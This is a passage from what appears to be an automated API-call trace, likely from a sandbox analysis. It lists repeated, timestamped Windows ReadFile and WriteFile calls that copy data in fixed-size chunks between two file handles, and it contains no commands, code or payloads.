lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.853] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.854] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.855] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.856] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.857] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.858] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.859] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.860] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.860] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.861] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.862] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.864] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.864] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.866] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.866] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.867] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.868] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.890] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.890] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.891] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.892] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.892] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.893] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.895] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.895] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.897] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.897] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.898] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.899] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.900] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.901] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.902] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.902] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.903] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.904] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.906] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.906] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.907] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.915] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.919] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.920] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.921] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.921] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.923] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.923] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.923] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.925] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.958] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.959] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.960] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.960] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.961] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.962] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.964] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.964] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.965] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.965] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.966] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.967] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.969] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.969] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.970] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.971] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.972] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.973] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.974] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.974] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.975] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.976] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.976] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.977] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.979] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.980] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.981] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.981] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.982] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.983] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.985] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.985] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.986] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.987] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.987] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.988] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.990] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.991] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.992] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.000] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.003] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.004] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.027] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.027] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.028] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.029] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.029] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.030] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.032] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.033] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.034] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | 